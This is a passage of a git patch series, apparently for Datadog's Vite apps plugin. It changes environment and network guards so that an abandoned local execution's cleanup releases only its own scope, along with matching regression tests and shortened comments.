allowedContext.getStore() !== true; + return blockedContext.isActive() && !allowedContext.isActive(); } // `Symbol.for`, not `Symbol()`, so every re-evaluation of this file recognizes an already-installed guard instead of minting its own. @@ -654,7 +667,7 @@ export async function runBlocked( const scope = blockEpoch.start(); onScopeStarted?.({ abandonIfCurrent: () => scope.concludeIfCurrent() }); try { - return await blockedContext.run(true, fn); + return await blockedContext.run(fn); } finally { scope.concludeIfCurrent(); } @@ -665,7 +678,7 @@ export async function runAllowed(fn: () => Promise): Promise { if (!blockEpoch.hasActiveScope()) { return fn(); } - return allowedContext.run(true, fn); + return allowedContext.run(fn); } // Test-only escape hatch for resetting shared module state between tests — unconditional, unlike From a76db84cf70aea532b118079e070551dc059569b Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Thu, 10 Sep 2026 22:54:17 -0400 Subject: [PATCH 7/7] fix(apps): stop an abandoned execution's env-scope cleanup from disarming a concurrent one forceResetEnv() cleared every active env-scope token at once, so a timed-out execution's cleanup could disarm process.report.excludeEnv redaction for a different, still-running execution's own scope. runWithScopedEnv/loadCustomerModuleEntry now accept an onScopeStarted handle (mirroring runBlocked's own pattern) so a caller abandons only its own token. getReport()/writeReport() redaction now gates on the calling continuation's own scope instead of the shared counter. Also tightens several oversized comments and removes tone/provenance violations flagged during review. --- .../plugins/apps/src/vite/env-guard.test.ts | 86 +++++++++-- packages/plugins/apps/src/vite/env-guard.ts | 53 ++++--- .../plugins/apps/src/vite/guarded-wrapper.ts | 15 +- .../apps/src/vite/local-execution.test.ts | 9 +- .../plugins/apps/src/vite/local-execution.ts | 142 +++++++++--------- .../apps/src/vite/network-guard.test.ts | 17 +-- .../plugins/apps/src/vite/network-guard.ts | 18 +-- 7 files changed, 198 insertions(+), 142 deletions(-) diff --git a/packages/plugins/apps/src/vite/env-guard.test.ts b/packages/plugins/apps/src/vite/env-guard.test.ts index c0ef40a2c..6d7da7d13 100644 --- a/packages/plugins/apps/src/vite/env-guard.test.ts +++ b/packages/plugins/apps/src/vite/env-guard.test.ts @@ -227,16 +227,12 @@ describe('env-guard', () => { expect({ ...process.env }).toEqual(realEnvSnapshot); }); - // Regression coverage: a plain `process.env[key] = value` for an existing key made from - // outside any scope passes the Proxy itself as `receiver`, which on an existing writable + // Regression coverage: a plain `process.env[key] = value` for an existing key, made from + // outside any scope, passes the Proxy itself as `receiver` — which on an existing writable // property falls back to a PARTIAL descriptor that Node's native process.env binding - // rejects outright — dd-trace's require-hook instrumentation makes exactly this kind of - // assignment while requiring the bundled webpack-plugin. - // - // This describe block's installFakeProcessEnv() means `currentEnv()` here resolves to a - // plain fake-baseline object, which silently tolerates the same partial descriptor Node's - // real one rejects — so this only asserts the fix's observable contract inside Jest; the - // native throw only reproduces against a real, unpatched Node process. + // rejects (dd-trace's require-hook hits this exact case). This describe block's fake + // baseline object tolerates that same partial descriptor where a real, unpatched Node + // process would throw, so this only asserts the fix's observable contract inside Jest. test('Should not throw when assigning an already-existing key on process.env while unscoped', () => { const before = process.env.PATH; try { @@ -1117,6 +1113,33 @@ describe('env-guard', () => { }); }); + // Regression coverage: redaction must follow the calling continuation's own scope, not a + // shared, resettable counter — a still-active scope's getReport() call must keep redacting + // even after an unrelated scope's abandonment (forceResetEnv) has zeroed that counter. + test("Should keep redacting a still-active scope's own getReport() call after an unrelated scope's abandonment clears the shared counter", async () => { + let resolveOuter: (() => void) | undefined; + let reportDuringOuter: ReturnType | undefined; + const outer = runWithScopedEnv({ PATH: '/outer' }, async () => { + await new Promise((resolve) => { + resolveOuter = resolve; + }); + reportDuringOuter = process.report.getReport(); + }); + + // Simulates an unrelated execution's abandonment path forcing the shared counter to + // zero while `outer`'s own scope is still active. + forceResetEnv(); + + resolveOuter?.(); + await outer; + + const environmentVariables = + reportDuringOuter && 'environmentVariables' in reportDuringOuter + ? reportDuringOuter.environmentVariables + : undefined; + expect(environmentVariables).toBeUndefined(); + }); + // On Node >=22.13.0, excludeEnv must delegate to Node's own native setter, not a // disconnected JS shadow that would have zero effect on a native, non-JS-triggered report // (--report-on-signal etc). Node's native setter throws for a non-boolean; a disconnected @@ -1235,6 +1258,51 @@ describe('env-guard', () => { } }); + // Regression coverage: onScopeStarted's handle must discharge only its own token, unlike + // forceResetEnv() — abandoning a hung scope must never disarm a different, concurrently + // active scope's own excludeEnv protection. + test("Should let onScopeStarted's handle abandon only its own scope, leaving a concurrently active scope's excludeEnv protection armed", async () => { + const before = processReport.excludeEnv; + + let resolveHung: (() => void) | undefined; + let hungHandle: { abandon: () => void } | undefined; + const hung = runWithScopedEnv( + { PATH: '/hung' }, + async () => { + await new Promise((resolve) => { + resolveHung = resolve; + }); + }, + (handle) => { + hungHandle = handle; + }, + ); + expect(hungHandle).toBeDefined(); + + let resolveActive: (() => void) | undefined; + let excludeEnvAfterAbandon: boolean | undefined; + const active = runWithScopedEnv({ PATH: '/active' }, async () => { + await new Promise((resolve) => { + resolveActive = resolve; + }); + excludeEnvAfterAbandon = processReport.excludeEnv; + }); + + hungHandle?.abandon(); + // Still armed: `active`'s own scope is unaffected by abandoning the unrelated hung one. + expect(processReport.excludeEnv).toBe(true); + + resolveActive?.(); + await active; + expect(excludeEnvAfterAbandon).toBe(true); + // Restored once `active` closes, proving hung's token was actually discharged by + // abandon() above — if it lingered in the set, this would still read `true`. + expect(processReport.excludeEnv).toBe(before); + + resolveHung?.(); + await hung; + }); + // Regression coverage: if a zombie scope's runWithScopedEnv finally fires AFTER // forceResetEnv() already cleared it (the ordering a test harness's afterEach produces // against a scope deliberately left open), its disarmScope(token) call must find its own diff --git a/packages/plugins/apps/src/vite/env-guard.ts b/packages/plugins/apps/src/vite/env-guard.ts index df3f18ec0..8cf65aebf 100644 --- a/packages/plugins/apps/src/vite/env-guard.ts +++ b/packages/plugins/apps/src/vite/env-guard.ts @@ -87,17 +87,10 @@ export function buildScopedEnv(customCredentials: Record): Recor } /** - * Everything a re-evaluation of this file needs to share with every other re-evaluation — see - * getSharedState()'s own comment for why this can't just be module-level `let`s. - * - * Every member here is a function, not a data field: the object this describes is stashed on the - * public `fs` module (see getSharedState()), so any code with `require('fs')` — including a - * backend function's own third-party dependencies — can read whatever this exposes. A raw - * `realEnv` field would hand out the real, unscoped environment directly; a raw `AsyncLocalStorage` - * instance would let a caller disarm scope detection process-wide via its own `.disable()`. Every - * function here instead re-applies the real scope check (via a `getStore()` bound at module load, - * immune to later tampering) before doing anything sensitive, so calling it from inside an active - * scope — legitimately or not — always yields the same safe result a real caller would get. + * Shared across every re-evaluation of this file (see getSharedState()). Every member is a + * function, not a data field, since this object is reachable via any `require('fs')` — a raw + * `realEnv` field would leak the real environment, and a raw `AsyncLocalStorage` would let a + * caller kill scope detection process-wide via `.disable()`. Each function re-checks scope itself. */ interface EnvGuardSharedState { getCurrentEnv(): Record | NodeJS.ProcessEnv; @@ -113,7 +106,6 @@ interface EnvGuardSharedState { armScope(): symbol; disarmScope(token: symbol): void; forceResetAllScopes(): void; - isAnyScopeActive(): boolean; getExcludeEnv(): boolean | undefined; } @@ -234,7 +226,6 @@ function getSharedState(): EnvGuardSharedState { restoreExcludeEnvIfLastScope(); } }, - isAnyScopeActive: () => activeScopeTokens.size > 0, getExcludeEnv, }; }); @@ -579,7 +570,7 @@ function wrapReportFn unknown>( const originalGetReport = process.report.getReport.bind(process.report); process.report.getReport = wrapReportFn(originalGetReport, (original, ...args) => { const report = original(...args); - if (sharedState.isAnyScopeActive() && hasEnvironmentVariables(report)) { + if (sharedState.isInsideScope() && hasEnvironmentVariables(report)) { delete report.environmentVariables; } return report; @@ -587,17 +578,16 @@ process.report.getReport = wrapReportFn(originalGetReport, (original, ...args) = const originalWriteReport = process.report.writeReport.bind(process.report); process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...args) => { - if (sharedState.isAnyScopeActive()) { + if (sharedState.isInsideScope()) { // writeReport(fileName?, err?) also accepts writeReport(err?) with no fileName at all — // only a string first argument is ever a caller-chosen destination, so this branch is // skipped (falling through to Node's own write below) when none was given. const fileNameArg = args[0]; if (typeof fileNameArg === 'string') { - // Builds the redacted report ourselves and writes it directly, rather than letting Node - // persist the real report first and rewriting it after — that would leave the unredacted - // content on disk for a real window if anything between the two writes throws. - // Cast: TS collapses the bound writeReport's overloads to the single-arg `(err?: Error)` - // form, so the real two-arg tuple needs restating to reach the err argument at index 1. + // Builds the redacted report itself and writes it directly, rather than letting Node + // persist the real report first and rewriting it after — that would leave unredacted + // content on disk if anything between the two writes throws. Cast: TS collapses the + // bound writeReport's overloads to `(err?: Error)`, so the real err arg needs restating. const errArg = (args as unknown as [string?, Error?])[1]; const report = originalGetReport(errArg) as ReportLike; delete report.environmentVariables; @@ -606,7 +596,7 @@ process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...arg } } const filename = original(...args); - if (sharedState.isAnyScopeActive()) { + if (sharedState.isInsideScope()) { const rawReport = fs.readFileSync(filename, 'utf8'); const report: ReportLike = JSON.parse(rawReport); delete report.environmentVariables; @@ -621,13 +611,23 @@ process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...arg // references that stay bound to the original native functions otherwise. syncBuiltinESMExports(); -// Wraps only the customer function's own call in local-execution.ts's runScriptLocally, matching runBlocked's scope exactly. +export interface EnvScopeHandle { + // Discharges this specific call's own token, safe to call even while a different scope is + // still active — unlike forceResetEnv(), it never touches a token it doesn't own. + abandon(): void; +} + +// Wraps only the customer function's own call in local-execution.ts's runScriptLocally, matching +// runBlocked's scope exactly. `onScopeStarted`, if given, is invoked synchronously with a handle +// scoped to *this* call, for a caller whose own timeout might fire while `fn` is still pending. export async function runWithScopedEnv( scopedEnv: Record, fn: () => Promise, + onScopeStarted?: (handle: EnvScopeHandle) => void, ): Promise { ensureEnvProxyInstalled(); const token = sharedState.armScope(); + onScopeStarted?.({ abandon: () => sharedState.disarmScope(token) }); try { return await sharedState.runInScope(scopedEnv, fn); } finally { @@ -635,11 +635,10 @@ export async function runWithScopedEnv( } } -// Defensive reset for process.report's reference count only — process.env itself never needs -// forcing back, since scopedEnvContext resolves each continuation independently and a zombie's -// still-open scope was never shared global state to begin with. Called from -// local-execution.ts's abandonExecutionAndRejectWith when a timed-out execution's fn() will never -// settle and so never reach its finally. +// Test-only escape hatch for resetting shared module state between tests — unconditional, unlike +// EnvScopeHandle.abandon(), since a test fully controls when scopes start and end. Production code +// discharges a specific hung scope via that handle instead, since this would otherwise also disarm +// a different, still-active execution's own scope. export function forceResetEnv(): void { sharedState.forceResetAllScopes(); } diff --git a/packages/plugins/apps/src/vite/guarded-wrapper.ts b/packages/plugins/apps/src/vite/guarded-wrapper.ts index d0c371c44..7c6906c58 100644 --- a/packages/plugins/apps/src/vite/guarded-wrapper.ts +++ b/packages/plugins/apps/src/vite/guarded-wrapper.ts @@ -2,15 +2,12 @@ // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2019-Present Datadog, Inc. -// Shared `this`-forwarding wrapper for any guarded entry point that calls through when -// `shouldBlock` returns false, and signals failure when it returns true. `getReal` is a lazy -// getter, not the function itself, so a runtime swap of the real implementation (a test's -// spyOn/restoreMock) is picked up on the next call instead of frozen at wrap time. 'reject' mode -// also converts a `shouldBlock` throw into a rejection, matching the Promise-returning contract -// every 'reject' caller actually has. `shouldBlock`'s parameter type is `unknown[]`, not tied to -// F's own Parameters: F is still a generic, unresolved type at every call site, so a narrower type -// would reject every real `shouldBlock` implementation these callers pass — the cost is that a new -// guarded entry point whose relevant argument isn't in position 0 needs manual review. +// Shared `this`-forwarding wrapper: calls through when `shouldBlock` returns false, else signals +// failure per `onBlocked` ('reject' also converts a `shouldBlock` throw into a rejection). +// `getReal` is a lazy getter so a runtime swap of the real implementation (spyOn/restoreMock) is +// picked up on the next call, not frozen at wrap time. `shouldBlock` takes `unknown[]`, not F's own +// Parameters, since F is unresolved at every call site — a new entry point whose relevant arg isn't +// in position 0 needs manual review as a result. export function makeGuardWrapper unknown>( getReal: () => F, shouldBlock: (...args: unknown[]) => boolean, diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index 94cd6973e..ba54c26d0 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -717,10 +717,8 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/timed out after 50ms/); }); - // Regression test: a zombie scope (fn() that never settles) previously left - // process.report.excludeEnv armed forever, since its own finally block never ran to decrement - // activeScopeCount and nothing else discharged it — see abandonExecutionAndRejectWith's own - // forceResetEnv() call. + // A zombie scope's own finally never runs (fn() never settles), so abandonExecutionAndRejectWith + // discharges its env scope handle directly instead of relying on that finally. test('Should restore process.report.excludeEnv to its pre-scope value after a zombie execution is abandoned, not leave it armed forever', async () => { const excludeEnvDescriptor = Object.getOwnPropertyDescriptor(process.report, 'excludeEnv'); process.report.excludeEnv = false; @@ -737,8 +735,7 @@ describe('local-execution — executeScriptLocally', () => { ), ).rejects.toThrow(/timed out after 20ms/); - // Lets abandonExecutionAndRejectWith's fire-and-forget getEnvGuard().then(forceResetEnv) - // settle before the next scope starts. + // Lets the rejected timeout promise's own microtask chain settle before the next scope starts. await new Promise((resolve) => setTimeout(resolve, 0)); await executeScriptLocally( diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index 8ce1fac08..b5cfaa8af 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -15,6 +15,7 @@ import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; import type { LongPollingOptions } from '../types'; import { resolveLongPolling } from '../validate'; +import type { EnvScopeHandle } from './env-guard'; import { createEpochGuard } from './execution-epoch'; import type { BlockedScopeHandle } from './network-guard'; import { getTotalRetryDelayBudgetMs } from './retry-delay'; @@ -227,26 +228,23 @@ export function deriveActionTimeouts(longPolling: LongPollingConfig): { export type LoadModule = (specifier: string) => Promise>; /** - * Loads a customer module under the same top-level-evaluation `$`-scoping `runScriptLocally` uses - * (see `customerModuleLoadContext`) — for callers like dev-server.ts's priming load that trigger - * real top-level evaluation ahead of `executeScriptLocally`. Also scopes `process.env`, since - * `getEnvGuard()` must install env-guard.ts's monkeypatches before `loadModule` ever runs a - * customer file, or a dependency's top-level code could capture a reference to the real, - * unwrapped `fs.readFileSync` and bypass the guard for the rest of the session. Accepted residual - * gap: this load still runs outside network-guard.ts's `runBlocked` scope, so a customer file's - * top-level code has real, unguarded network/subprocess access — not a hard security boundary, - * matching this file's "no OS sandbox" framing. + * Loads a customer module under `runScriptLocally`'s top-level-evaluation `$`-scoping (see + * `customerModuleLoadContext`), for callers like dev-server.ts's priming load. Scopes `process.env` + * first so a dependency's top-level code can't capture the real `fs.readFileSync` and bypass the + * guard. Accepted residual gap: runs outside `runBlocked`, so top-level code still has real + * network/subprocess access — not a hard boundary, matching this file's "no OS sandbox" framing. */ export async function loadCustomerModuleEntry( loadModule: LoadModule, entrySpecifier: string, + onScopeStarted?: (handle: EnvScopeHandle) => void, ): Promise> { await getNetworkGuard(); const { buildScopedEnv, runWithScopedEnv } = await getEnvGuard(); const scopedEnv = buildScopedEnv({}); return localExecutionResolutionContext.run(new Set(), () => customerModuleLoadContext.run({ assigned: false, value: undefined }, () => - runWithScopedEnv(scopedEnv, () => loadModule(entrySpecifier)), + runWithScopedEnv(scopedEnv, () => loadModule(entrySpecifier), onScopeStarted), ), ); } @@ -717,12 +715,19 @@ export async function executeColdActionLocally( `Resolving allowed connections for "${displayName}"`, ); const entrySpecifier = func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX; - const primingPromise = loadCustomerModuleEntry(loadModule, entrySpecifier); - const primedEntry = await withTimeout( - primingPromise, - timeoutMs, - `Loading "${displayName}"`, - ); + let primingEnvScope: EnvScopeHandle | undefined; + const primingPromise = loadCustomerModuleEntry(loadModule, entrySpecifier, (handle) => { + primingEnvScope = handle; + }); + let primedEntry: Record | undefined; + try { + primedEntry = await withTimeout(primingPromise, timeoutMs, `Loading "${displayName}"`); + } catch (err) { + // A hung priming load's own runWithScopedEnv finally never runs, so this call abandons + // just its own token — leaving any other, unrelated execution's still-active scope alone. + primingEnvScope?.abandon(); + throw err; + } // Calls runScriptLocally directly, not executeScriptLocally, to avoid enqueueing twice. return runScriptLocally( { ...func, allowedConnectionIds }, @@ -767,31 +772,19 @@ async function runScriptLocally( let rejectTimeout: ((error: Error) => void) | undefined; let pendingActionCalls = 0; let absoluteTimeoutTimer: ReturnType | undefined; - // Set once runBlocked's own scope starts — undefined until then, so an execution abandoned - // before it reaches that point has nothing to abandon here. + // Set once runBlocked's/runWithScopedEnv's own scope starts — undefined until then, so an + // execution abandoned before it reaches that point has nothing to abandon here. let blockedScope: BlockedScopeHandle | undefined; + let envScope: EnvScopeHandle | undefined; - // Promise.race abandons a hung fn without cancelling it, so its runBlocked scope's try/finally - // cleanup never runs. abandonIfCurrent() only clears if this scope is still active, so this is - // safe even if a newer execution's own runBlocked scope has already started; the block itself - // stays enforced regardless via blockedContext's own scoping. Shared by both timeout paths - // below, since either can abandon a still-running fn the same way. - const abandonBlockedScope = () => { - blockedScope?.abandonIfCurrent(); - }; - - // process.env's own AsyncLocalStorage scoping needs no forcing here, unlike - // process.report.excludeEnv's activeScopeCount below: it keeps the abandoned continuation bound - // to its own scope regardless of what a newer execution does with its own, separate scope. - // excludeEnv is a global counter, not AsyncLocalStorage-scoped, so a zombie's finally never - // running would leave it armed forever — forceResetEnv() is a no-op if this call never reached - // runWithScopedEnv in the first place, so it's safe to call unconditionally here. + // Promise.race abandons a hung fn without cancelling it, so its runBlocked/runWithScopedEnv + // scope's try/finally cleanup never runs. Both handles only discharge their own token, so this + // is safe even while a different, still-legitimately-running execution holds its own scope — + // unlike forceResetEnv(), neither call can clobber a scope it doesn't own. const abandonExecutionAndRejectWith = (error: Error) => { concludeExecution(); - abandonBlockedScope(); - getEnvGuard() - .then(({ forceResetEnv }) => forceResetEnv()) - .catch(() => undefined); + blockedScope?.abandonIfCurrent(); + envScope?.abandon(); rejectTimeout?.(error); }; @@ -912,40 +905,47 @@ async function runScriptLocally( await Promise.all([networkGuardPromise, envGuardPromise]); rejectIfAbandoned(); const scopedEnv = buildScopedEnv({}); - const data = await runWithScopedEnv(scopedEnv, () => - runBlocked( - async () => { - // Both adapters are stable and idempotent to re-register. Registered - // here, inside the same env/network scope as the customer function - // itself, since their loadModule() calls resolve real npm packages a - // customer project could declare, whose top-level code would - // otherwise run with the real, unscoped environment and network. - const actionCatalogRegistration = registerActionCatalogIfInstalled( - loadModule, - projectRoot, - timeoutMs, - ); - const backendRuntimeRegistration = - registerBackendRuntimeIfInstalled( - loadModule, - projectRoot, - timeoutMs, - ); - await Promise.all([ - actionCatalogRegistration, - backendRuntimeRegistration, - ]); - // Registration's loadModule() calls can themselves take long enough - // to cross the timeout — the customer function must never run once - // already abandoned. - rejectIfAbandoned(); - const result = await fn(...args); - return assertJsonSerializable(result, func); - }, - (handle) => { - blockedScope = handle; - }, - ), + const data = await runWithScopedEnv( + scopedEnv, + () => + runBlocked( + async () => { + // Both adapters are stable and idempotent to re-register. + // Registered here, inside the same env/network scope as the + // customer function itself, since their loadModule() calls + // resolve real npm packages a customer project could declare, + // whose top-level code would otherwise run with the real, + // unscoped environment and network. + const actionCatalogRegistration = + registerActionCatalogIfInstalled( + loadModule, + projectRoot, + timeoutMs, + ); + const backendRuntimeRegistration = + registerBackendRuntimeIfInstalled( + loadModule, + projectRoot, + timeoutMs, + ); + await Promise.all([ + actionCatalogRegistration, + backendRuntimeRegistration, + ]); + // Registration's loadModule() calls can themselves take long + // enough to cross the timeout — the customer function must + // never run once already abandoned. + rejectIfAbandoned(); + const result = await fn(...args); + return assertJsonSerializable(result, func); + }, + (handle) => { + blockedScope = handle; + }, + ), + (handle) => { + envScope = handle; + }, ); return { data }; }), diff --git a/packages/plugins/apps/src/vite/network-guard.test.ts b/packages/plugins/apps/src/vite/network-guard.test.ts index 4ab764608..f42dfac03 100644 --- a/packages/plugins/apps/src/vite/network-guard.test.ts +++ b/packages/plugins/apps/src/vite/network-guard.test.ts @@ -152,8 +152,8 @@ describe('network-guard', () => { ).rejects.toThrow(/Network access is not allowed/); }); - // dgram.send()'s real Node contract reports failure via an error-first callback (confirmed - // via @types/node doc examples), never a synchronous throw — the guard must match that. + // dgram.send()'s real Node contract reports failure via an error-first callback, never a + // synchronous throw — the guard must match that. test('Should block dgram.Socket.send() made inside fn via its error-first callback, not a synchronous throw', async () => { await runBlocked(async () => { const socket = dgram.createSocket('udp4'); @@ -168,9 +168,9 @@ describe('network-guard', () => { }); }); - // dgram.Socket.connect()'s callback is a success-only 'connect' event shorthand (confirmed - // via @types/node: `callback?: () => void`) — real failures are only ever reported via the - // async 'error' event, so the guard must signal that way too, not a synchronous throw. + // dgram.Socket.connect()'s callback is a success-only 'connect' event shorthand — real + // failures are only ever reported via the async 'error' event, so the guard must signal + // that way too, not a synchronous throw. test("Should block dgram.Socket.connect() made inside fn via its async 'error' event, not a synchronous throw", async () => { await runBlocked(async () => { const socket = dgram.createSocket('udp4'); @@ -1183,10 +1183,9 @@ describe('installGuardedProperty security', () => { }).toThrow(/Cannot redefine property/); }); - // Regression coverage for a review finding: the registry entry's own value used to be the raw - // AsyncLocalStorage instance, so any code with `require('net')` could call `.disable()` on it - // and permanently kill network blocking process-wide — a stronger bypass than reading a value, - // since it disarms every future runBlocked call too, not just the caller's own. + // A raw AsyncLocalStorage instance on the registry would let any code with `require('net')` + // call `.disable()` on it and permanently kill network blocking process-wide — a stronger + // bypass than reading a value, since it disarms every future runBlocked call too. test('Should not let a `.disable()` call reached via the fs-keyed registry entry disarm network blocking for a later runBlocked call', async () => { const symbol = Symbol.for('@dd/apps-plugin/network-guard blockedContext'); const registry = net as unknown as Record>; diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts index 73c8b0a47..7c7ba196b 100644 --- a/packages/plugins/apps/src/vite/network-guard.ts +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -32,16 +32,12 @@ interface GuardedAsyncContext { run(fn: () => T): T; } -// Keyed on the real `net` module (not a per-module `new AsyncLocalStorage()`) since this file gets -// evaluated more than once — bundled copies and Jest's per-test-file isolation — and every -// evaluation needs the same store. `globalThis`/`process` are sandboxed per test file too; core -// modules aren't. isCurrentlyBlocked() is every guard's shared gate. -// -// Returns isActive()/run() rather than the raw AsyncLocalStorage instance: any code with -// `require('net')` — including a backend function's own third-party dependencies — can read -// whatever this stores, and a raw instance's own `.disable()` would let it kill this guard's scope -// detection process-wide. Neither exposed function does more than what run{Blocked,Allowed} below -// already do as exported functions, so this closes off nothing that reaches further than those. +// Keyed on the real `net` module, not a per-module `new AsyncLocalStorage()`: this file gets +// evaluated more than once (bundled copies, Jest's per-test-file isolation), and every evaluation +// needs the same store — `globalThis`/`process` are sandboxed per test file, core modules aren't. +// Returns isActive()/run() rather than the raw instance, since any code with `require('net')` can +// read whatever this stores, and a raw instance's own `.disable()` would kill this guard's scope +// detection process-wide. function getSharedContext(key: string): GuardedAsyncContext { return getOrCreateShared(net, `@dd/apps-plugin/network-guard ${key}`, () => { const context = new AsyncLocalStorage(); @@ -643,7 +639,7 @@ installGuardedProperty(worker_threads, 'Worker', guardWorker); // installGuardedProperty only patches each built-in's CJS default export; Node keeps ESM named // bindings (`import { spawn } from 'node:child_process'`) as separate references to the original // native values. syncBuiltinESMExports re-syncs them. Not unit-tested — Jest's CJS transform can't -// reproduce the real ESM-binding divergence; verified via a standalone `node --input-type=module` script. +// reproduce the real ESM-binding divergence. syncBuiltinESMExports(); // Guards against the same abandoned-scope-corrupts-a-newer-one race as `local-execution.ts` — see `execution-epoch.ts`.